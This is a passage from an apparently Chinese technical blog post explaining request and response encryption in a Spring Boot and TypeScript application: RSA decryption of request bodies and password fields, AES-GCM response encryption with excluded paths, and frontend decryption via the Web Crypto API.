class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-meta">@Slf4j</span><br><span class="hljs-meta">@ControllerAdvice</span><br><span class="hljs-meta">@RequiredArgsConstructor</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">DecryptRequestBodyAdvice</span> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">RequestBodyAdviceAdapter</span> &#123;<br><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> CryptoService cryptoService;<br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> ObjectMapper objectMapper;<br><br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-type">boolean</span> <span class="hljs-title function_">supports</span><span class="hljs-params">(MethodParameter methodParameter, Type targetType,</span><br><span class="hljs-params">                            Class&lt;? extends HttpMessageConverter&lt;?&gt;&gt; converterType)</span> &#123;<br>        <span class="hljs-keyword">return</span> cryptoService.isEnabled();<br>    &#125;<br><br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> HttpInputMessage <span class="hljs-title function_">beforeBodyRead</span><span class="hljs-params">(HttpInputMessage inputMessage, MethodParameter parameter,</span><br><span class="hljs-params">                                           Type targetType, Class&lt;? extends HttpMessageConverter&lt;?&gt;&gt; converterType)</span> <span class="hljs-keyword">throws</span> IOException &#123;<br>        <span class="hljs-comment">// 跳过小程序请求</span><br>        <span class="hljs-keyword">if</span> (isMiniProgramRequest()) &#123;<br>            <span class="hljs-keyword">return</span> inputMessage;<br>        &#125;<br><br>        <span class="hljs-type">String</span> <span class="hljs-variable">body</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">String</span>(inputMessage.getBody().readAllBytes(), StandardCharsets.UTF_8);<br>        <span class="hljs-keyword">if</span> (body == <span class="hljs-literal">null</span> || body.isEmpty()) &#123;<br>            <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">DecryptedHttpInputMessage</span>(inputMessage, <span class="hljs-string">&quot;&quot;</span>);<br>        &#125;<br><br>        <span class="hljs-keyword">try</span> &#123;<br>            <span class="hljs-type">JsonNode</span> <span class="hljs-variable">jsonNode</span> <span class="hljs-operator">=</span> objectMapper.readTree(body);<br><br>            <span class="hljs-comment">// 模式 A：整体解密（encryptedData 字段）</span><br>            <span class="hljs-keyword">if</span> (jsonNode.has(<span class="hljs-string">&quot;encryptedData&quot;</span>)) &#123;<br>                <span class="hljs-type">String</span> <span class="hljs-variable">encryptedData</span> <span class="hljs-operator">=</span> jsonNode.get(<span class="hljs-string">&quot;encryptedData&quot;</span>).asText();<br>                <span class="hljs-type">String</span> <span class="hljs-variable">decryptedBody</span> <span class="hljs-operator">=</span> cryptoService.decrypt(encryptedData);<br>                log.debug(<span class="hljs-string">&quot;请求体已解密&quot;</span>);<br>                <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">DecryptedHttpInputMessage</span>(inputMessage, decryptedBody);<br>            &#125;<br><br>            <span class="hljs-comment">// 模式 B：字段级解密（password、oldPassword、newPassword）</span><br>            <span class="hljs-keyword">if</span> (jsonNode.isObject()) &#123;<br>                <span class="hljs-type">ObjectNode</span> <span class="hljs-variable">objectNode</span> <span class="hljs-operator">=</span> (ObjectNode) jsonNode;<br>                <span class="hljs-type">boolean</span> <span class="hljs-variable">modified</span> <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;<br><br>                <span class="hljs-keyword">for</span> (String field : <span class="hljs-keyword">new</span> <span class="hljs-title class_">String</span>[]&#123;<span class="hljs-string">&quot;password&quot;</span>, <span class="hljs-string">&quot;oldPassword&quot;</span>, <span class="hljs-string">&quot;newPassword&quot;</span>&#125;) &#123;<br>                    <span class="hljs-keyword">if</span> (objectNode.has(field) &amp;&amp; objectNode.get(field).isTextual()) &#123;<br>                        <span class="hljs-type">String</span> <span class="hljs-variable">encrypted</span> <span class="hljs-operator">=</span> objectNode.get(field).asText();<br>                        <span class="hljs-keyword">if</span> (isEncrypted(encrypted)) &#123;  <span class="hljs-comment">// 长度 &gt;= 100 且是合法 Base64</span><br>                            <span class="hljs-keyword">try</span> &#123;<br>                                objectNode.put(field, cryptoService.decrypt(encrypted));<br>                                modified = <span class="hljs-literal">true</span>;<br>                                log.debug(<span class="hljs-string">&quot;&#123;&#125;字段已解密&quot;</span>, field);<br>                            &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>                                log.debug(<span class="hljs-string">&quot;&#123;&#125;字段解密失败，可能是明文&quot;</span>, field);<br>                            &#125;<br>                        &#125;<br>                    &#125;<br>                &#125;<br><br>                <span class="hljs-keyword">if</span> (modified) &#123;<br>                    <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">DecryptedHttpInputMessage</span>(inputMessage, objectMapper.writeValueAsString(objectNode));<br>                &#125;<br>            &#125;<br><br>            <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">DecryptedHttpInputMessage</span>(inputMessage, body);<br>        &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>            log.error(<span class="hljs-string">&quot;请求解密处理异常&quot;</span>, e);<br>            <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">DecryptedHttpInputMessage</span>(inputMessage, body);<br>        &#125;<br>    &#125;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 判断是否是加密数据</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-type">boolean</span> <span class="hljs-title function_">isEncrypted</span><span class="hljs-params">(String data)</span> &#123;<br>        <span class="hljs-keyword">if</span> (data == <span class="hljs-literal">null</span> || data.length() &lt; <span class="hljs-number">100</span>) &#123;<br>            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;<br>        &#125;<br>        <span class="hljs-keyword">try</span> &#123;<br>            java.util.Base64.getDecoder().decode(data);<br>            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;<br>        &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;<br>        &#125;<br>    &#125;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 判断是否是小程序请求</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-type">boolean</span> <span class="hljs-title function_">isMiniProgramRequest</span><span class="hljs-params">()</span> &#123;<br>        <span class="hljs-type">ServletRequestAttributes</span> <span class="hljs-variable">attributes</span> <span class="hljs-operator">=</span> (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();<br>        <span class="hljs-keyword">if</span> (attributes == <span class="hljs-literal">null</span>) <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;<br>        <span class="hljs-type">String</span> <span class="hljs-variable">path</span> <span class="hljs-operator">=</span> attributes.getRequest().getRequestURI();<br>        <span class="hljs-keyword">if</span> (path == <span class="hljs-literal">null</span>) <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;<br>        <span class="hljs-keyword">return</span> path.startsWith(<span class="hljs-string">&quot;/api/mall/&quot;</span>) || path.startsWith(<span class="hljs-string">&quot;/api/wechat/miniprogram/&quot;</span>);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><p><strong>两种解密模式：</strong></p><p><strong>模式 A — 整体解密</strong>：请求体包含 <code>encryptedData</code> 字段时，整体 RSA 解密</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-comment">// 请求体格式</span><br><span class="hljs-punctuation">&#123;</span> <span class="hljs-attr">&quot;encryptedData&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Base64编码的RSA加密数据&quot;</span> <span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p><strong>模式 B — 字段级解密</strong>：逐个检查 <code>password</code>、<code>oldPassword</code>、<code>newPassword</code> 字段，如果字段值长度 &gt;&#x3D; 100 且能成功 Base64 解码，则认为是加密数据并进行 RSA 解密。</p><p><strong>小程序请求跳过</strong>：路径以 <code>/api/mall/</code> 或 <code>/api/wechat/miniprogram/</code> 开头的请求不做解密处理。</p><hr><h2 id="响应加密流程（后端-→-前端）"><a href="#响应加密流程（后端-→-前端）" class="headerlink" title="响应加密流程（后端 → 前端）"></a>响应加密流程（后端 → 前端）</h2><h3 id="后端加密响应"><a href="#后端加密响应" class="headerlink" title="后端加密响应"></a>后端加密响应</h3><p><code>EncryptResponseBodyAdvice</code> 通过 Spring 的 <code>ResponseBodyAdvice</code> 机制在响应写出之前自动加密：</p><figure class="highlight scss"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs scss">Controller 返回数据 → <span class="hljs-built_in">supports</span>() 判断是否需要加密 → <span class="hljs-built_in">beforeBodyWrite</span>() AES-GCM 加密<br></code></pre></td></tr></table></figure><p><strong>核心代码</strong>：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-meta">@Slf4j</span><br><span class="hljs-meta">@ControllerAdvice</span><br><span class="hljs-meta">@RequiredArgsConstructor</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">EncryptResponseBodyAdvice</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">ResponseBodyAdvice</span>&lt;Object&gt; &#123;<br><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> CryptoService cryptoService;<br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> ObjectMapper objectMapper;<br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> CryptoConfigProvider configProvider;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 不需要加密的公开接口路径</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> List&lt;String&gt; EXCLUDE_PATHS = Arrays.asList(<br>            <span class="hljs-string">&quot;/crypto/&quot;</span>,<br>            <span class="hljs-string">&quot;/auth/login&quot;</span>,<br>            <span class="hljs-string">&quot;/auth/register&quot;</span>,<br>            <span class="hljs-string">&quot;/auth/captcha&quot;</span>,<br>            <span class="hljs-string">&quot;/auth/sms-code&quot;</span>,<br>            <span class="hljs-string">&quot;/api/mall/&quot;</span>,<br>            <span class="hljs-string">&quot;/api/wechat/miniprogram/&quot;</span>,<br>            <span class="hljs-string">&quot;/sys/config-group/public&quot;</span>,<br>            <span class="hljs-string">&quot;/file/&quot;</span>,<br>            <span class="hljs-string">&quot;/sys/file/&quot;</span><br>    );<br><br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-type">boolean</span> <span class="hljs-title function_">supports</span><span class="hljs-params">(MethodParameter returnType, Class&lt;? extends HttpMessageConverter&lt;?&gt;&gt; converterType)</span> &#123;<br>        <span class="hljs-keyword">if</span> (!cryptoService.isEnabled()) &#123;<br>            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;  <span class="hljs-comment">// 未启用加密</span><br>        &#125;<br><br>        <span class="hljs-keyword">if</span> (configProvider.isGlobalEncrypt()) &#123;<br>            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;  <span class="hljs-comment">// 全局模式：全部加密</span><br>        &#125; <span class="hljs-keyword">else</span> &#123;<br>            <span class="hljs-keyword">return</span> returnType.hasMethodAnnotation(EncryptResponse.class);  <span class="hljs-comment">// 局部模式：看注解</span><br>        &#125;<br>    &#125;<br><br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> Object <span class="hljs-title function_">beforeBodyWrite</span><span class="hljs-params">(Object body, MethodParameter returnType, MediaType selectedContentType,</span><br><span class="hljs-params">                                  Class&lt;? extends HttpMessageConverter&lt;?&gt;&gt; selectedConverterType,</span><br><span class="hljs-params">                                  ServerHttpRequest request, ServerHttpResponse response)</span> &#123;<br>        <span class="hljs-keyword">try</span> &#123;<br>            <span class="hljs-keyword">if</span> (body == <span class="hljs-literal">null</span> || body <span class="hljs-keyword">instanceof</span> <span class="hljs-type">byte</span>[]) &#123;<br>                <span class="hljs-keyword">return</span> body;<br>            &#125;<br><br>            <span class="hljs-comment">// 全局模式下，检查是否在排除路径中</span><br>            <span class="hljs-keyword">if</span> (configProvider.isGlobalEncrypt()) &#123;<br>                <span class="hljs-type">String</span> <span class="hljs-variable">path</span> <span class="hljs-operator">=</span> request.getURI().getPath();<br>                <span class="hljs-keyword">for</span> (String excludePath : EXCLUDE_PATHS) &#123;<br>                    <span class="hljs-keyword">if</span> (path.contains(excludePath)) &#123;<br>                        <span class="hljs-keyword">return</span> body;<br>                    &#125;<br>                &#125;<br>            &#125;<br><br>            <span class="hljs-comment">// 处理 Result 包装的响应</span><br>            <span class="hljs-keyword">if</span> (body <span class="hljs-keyword">instanceof</span> Result&lt;?&gt; result) &#123;<br>                <span class="hljs-type">Object</span> <span class="hljs-variable">data</span> <span class="hljs-operator">=</span> result.getData();<br>                <span class="hljs-keyword">if</span> (data != <span class="hljs-literal">null</span>) &#123;<br>                    <span class="hljs-type">String</span> <span class="hljs-variable">jsonData</span> <span class="hljs-operator">=</span> objectMapper.writeValueAsString(data);<br>                    <span class="hljs-type">String</span> <span class="hljs-variable">encryptedData</span> <span class="hljs-operator">=</span> cryptoService.encryptResponse(jsonData);<br>                    <span class="hljs-keyword">return</span> Result.ok(encryptedData);<br>                &#125;<br>                <span class="hljs-keyword">return</span> body;<br>            &#125;<br><br>            <span class="hljs-comment">// 处理普通响应</span><br>            String jsonData;<br>            <span class="hljs-keyword">if</span> (body <span class="hljs-keyword">instanceof</span> String) &#123;<br>                jsonData = (String) body;<br>            &#125; <span class="hljs-keyword">else</span> &#123;<br>                jsonData = objectMapper.writeValueAsString(body);<br>            &#125;<br><br>            <span class="hljs-type">String</span> <span class="hljs-variable">encryptedData</span> <span class="hljs-operator">=</span> cryptoService.encryptResponse(jsonData);<br>            <span class="hljs-keyword">return</span> Result.ok(encryptedData);<br><br>        &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>            log.error(<span class="hljs-string">&quot;响应加密失败&quot;</span>, e);<br>            <span class="hljs-keyword">return</span> body;<br>        &#125;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><p><strong>AES-GCM 加密实现</strong>（CryptoServiceImpl.java）：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-meta">@Override</span><br><span class="hljs-keyword">public</span> String <span class="hljs-title function_">encryptResponse</span><span class="hljs-params">(String data)</span> &#123;<br>    <span class="hljs-keyword">if</span> (data == <span class="hljs-literal">null</span> || data.isEmpty()) &#123;<br>        <span class="hljs-keyword">return</span> data;<br>    &#125;<br>    <span class="hljs-keyword">try</span> &#123;<br>        <span class="hljs-comment">// 1. 生成 12 字节随机 IV</span><br>        <span class="hljs-type">byte</span>[] iv = <span class="hljs-keyword">new</span> <span class="hljs-title class_">byte</span>[GCM_IV_LENGTH];<br>        <span class="hljs-keyword">new</span> <span class="hljs-title class_">SecureRandom</span>().nextBytes(iv);<br><br>        <span class="hljs-comment">// 2. AES-GCM 加密</span><br>        <span class="hljs-type">Cipher</span> <span class="hljs-variable">cipher</span> <span class="hljs-operator">=</span> Cipher.getInstance(AES_TRANSFORMATION);<br>        <span class="hljs-type">GCMParameterSpec</span> <span class="hljs-variable">gcmSpec</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">GCMParameterSpec</span>(GCM_TAG_LENGTH, iv);  <span class="hljs-comment">// 128 位认证标签</span><br>        cipher.init(Cipher.ENCRYPT_MODE, aesKey, gcmSpec);<br>        <span class="hljs-type">byte</span>[] encryptedData = cipher.doFinal(data.getBytes(StandardCharsets.UTF_8));<br><br>        <span class="hljs-comment">// 3. 拼接格式: Base64(IV) + &quot;.&quot; + Base64(密文+认证标签)</span><br>        <span class="hljs-keyword">return</span> Base64.getEncoder().encodeToString(iv) + <span class="hljs-string">&quot;.&quot;</span> +<br>               Base64.getEncoder().encodeToString(encryptedData);<br>    &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>        log.error(<span class="hljs-string">&quot;AES加密响应失败&quot;</span>, e);<br>        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">RuntimeException</span>(<span class="hljs-string">&quot;数据加密失败&quot;</span>);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><p><strong>输出格式</strong>：<code>Base64(IV).Base64(密文+认证标签)</code>，例如：<code>AAAAAAAAAAAAAAAA.xyzabc123...</code></p><p><strong>排除路径</strong>（全局模式下不加密的接口）：</p><table><thead><tr><th>路径</th><th>原因</th></tr></thead><tbody><tr><td><code>/crypto/</code></td><td>加密配置接口本身</td></tr><tr><td><code>/auth/login</code></td><td>登录接口</td></tr><tr><td><code>/auth/register</code></td><td>注册接口</td></tr><tr><td><code>/auth/captcha</code></td><td>验证码接口</td></tr><tr><td><code>/auth/sms-code</code></td><td>短信验证码</td></tr><tr><td><code>/api/mall/</code></td><td>商城接口</td></tr><tr><td><code>/api/wechat/miniprogram/</code></td><td>小程序接口</td></tr><tr><td><code>/sys/config-group/public</code></td><td>公开配置</td></tr><tr><td><code>/file/</code>、<code>/sys/file/</code></td><td>文件接口</td></tr></tbody></table><h3 id="局部加密示例"><a href="#局部加密示例" class="headerlink" title="局部加密示例"></a>局部加密示例</h3><p>在 Controller 方法上添加 <code>@EncryptResponse</code> 注解即可：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-meta">@GetMapping(&quot;/page&quot;)</span><br><span class="hljs-meta">@SaCheckPermission(&quot;sys:user:list&quot;)</span><br><span class="hljs-meta">@EncryptResponse</span>  <span class="hljs-comment">// ← 标注此注解，局部模式下该接口响应会被 AES 加密</span><br><span class="hljs-keyword">public</span> Result&lt;PageResult&lt;SysUser&gt;&gt; <span class="hljs-title function_">page</span><span class="hljs-params">(...)</span> &#123;<br>    <span class="hljs-keyword">return</span> Result.ok(userService.page(...));<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="前端解密响应"><a href="#前端解密响应" class="headerlink" title="前端解密响应"></a>前端解密响应</h3><p>前端在 Axios 响应拦截器中自动检测并解密（<code>mars-ui/src/utils/request.ts</code>）：</p><figure class="highlight scss"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs scss">收到响应 → <span class="hljs-built_in">isAesEncryptedData</span>() 判断格式 → <span class="hljs-built_in">aesDecrypt</span>() 使用 Web Crypto API 解密<br></code></pre></td></tr></table></figure><p><strong>核心代码</strong>：</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br></pre></td><td class="code"><pre><code class="hljs typescript"><span class="hljs-comment">// 判断是否是AES加密的响应数据（格式：iv.encryptedData）</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">isAesEncryptedData</span>(<span class="hljs-params"><span class="hljs-attr">data</span>: <span class="hljs-built_in">any</span></span>): <span class="hljs-built_in">boolean</span> &#123;<br>  <span class="hljs-keyword">if</span> (<span class="hljs-keyword">typeof</span> data !== <span class="hljs-string">&#x27;string&#x27;</span>) &#123;<br>    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span><br>  &#125;<br>  <span class="hljs-keyword">const</span> parts = data.<span class="hljs-title function_">split</span>(<span class="hljs-string">&#x27;.&#x27;</span>)<br>  <span class="hljs-keyword">if</span> (parts.<span class="hljs-property">length</span> !== <span class="hljs-number">2</span>) &#123;<br>    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span><br>  &#125;<br>  <span class="hljs-comment">// 检查两部分是否都是有效的Base64，且IV长度正确</span><br>  <span class="hljs-keyword">try</span> &#123;<br>    <span class="hljs-title function_">atob</span>(parts[<span class="hljs-number">0</span>])<br>    <span class="hljs-title function_">atob</span>(parts[<span class="hljs-number">1</span>])<br>    <span class="hljs-comment">// IV是12字节，Base64后是16字符</span><br>    <span class="hljs-keyword">return</span> parts[<span class="hljs-number">0</span>].<span class="hljs-property">length</span> === <span class="hljs-number">16</span> &amp;&amp; parts[<span class="hljs-number">1</span>].<span class="hljs-property">length</span> &gt; <span class="hljs-number">10</span><br>  &#125; <span class="hljs-keyword">catch</span> &#123;<br>    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span><br>  &#125;<br>&#125;<br><br><span class="hljs-comment">// AES-GCM解密</span><br><span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">aesDecrypt</span>(<span class="hljs-params"><span class="hljs-attr">encryptedData</span>: <span class="hljs-built_in">string</span>, <span class="hljs-attr">aesKeyBase64</span>: <span class="hljs-built_in">string</span></span>): <span class="hljs-title class_">Promise</span>&lt;<span class="hljs-built_in">string</span>&gt; &#123;<br>  <span class="hljs-keyword">const</span> parts = encryptedData.<span class="hljs-title function_">split</span>(<span class="hljs-string">&#x27;.&#x27;</span>)<br>  <span class="hljs-keyword">if</span> (parts.<span class="hljs-property">length</span> !== <span class="hljs-number">2</span>) &#123;<br>    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">&#x27;加密数据格式错误&#x27;</span>)<br>  &#125;<br>  <br>  <span class="hljs-comment">// 解码 IV 和密文</span><br>  <span class="hljs-keyword">const</span> iv = <span class="hljs-title class_">Uint8Array</span>.<span class="hljs-title function_">from</span>(<span class="hljs-title function_">atob</span>(parts[<span class="hljs-number">0</span>]), <span class="hljs-function"><span class="hljs-params">c</span> =&gt;</span> c.<span class="hljs-title function_">charCodeAt</span>(<span class="hljs-number">0</span>))<br>  <span class="hljs-keyword">const</span> data = <span class="hljs-title class_">Uint8Array</span>.<span class="hljs-title function_">from</span>(<span class="hljs-title function_">atob</span>(parts[<span class="hljs-number">1</span>]), <span class="hljs-function"><span class="hljs-params">c</span> =&gt;</span> c.<span class="hljs-title function_">charCodeAt</span>(<span class="hljs-number">0</span>))<br>  <span class="hljs-keyword">const</span> keyBytes = <span class="hljs-title class_">Uint8Array</span>.<span class="hljs-title function_">from</span>(<span class="hljs-title function_">atob</span>(aesKeyBase64), <span class="hljs-function"><span class="hljs-params">c</span> =&gt;</span> c.<span class="hljs-title function_">charCodeAt</span>(<span class="hljs-number">0</span>))<br>  <br>  <span class="hljs-comment">// 使用浏览器原生 Web Crypto API 导入 AES 密钥</span><br>  <span class="hljs-keyword">const</span> aesKey = <span class="hljs-keyword">await</span> crypto.<span class="hljs-property">subtle</span>.<span class="hljs-title function_">importKey</span>(<br>    <span class="hljs-string">&#x27;raw&#x27;</span>,<br>    keyBytes,<br>    &#123; <span class="hljs-attr">name</span>: <span class="hljs-string">&#x27;AES-GCM&#x27;</span> &#125;,<br>    <span class="hljs-literal">false</span>,<br>    [<span class="hljs-string">&#x27;decrypt&#x27;</span>]<br>  )<br>  <br>  <span class="hljs-comment">// AES-GCM 解密</span><br>  <span class="hljs-keyword">const</span> decrypted = <span class="hljs-keyword">await</span> crypto.<span class="hljs-property">subtle</span>.<span class="hljs-title function_">decrypt</span>(<br>    &#123; <span class="hljs-attr">name</span>: <span class="hljs-string">&#x27;AES-GCM&#x27;</span>, <span class="hljs-attr">iv</span>: iv &#125;,<br>    aesKey,<br>    data<br>  )<br>  <br>  <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TextDecoder</span>().<span class="hljs-title function_">decode</span>(decrypted)<br>&#125;<br><br><span class="hljs-comment">// 解密响应数据</span><br><span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title 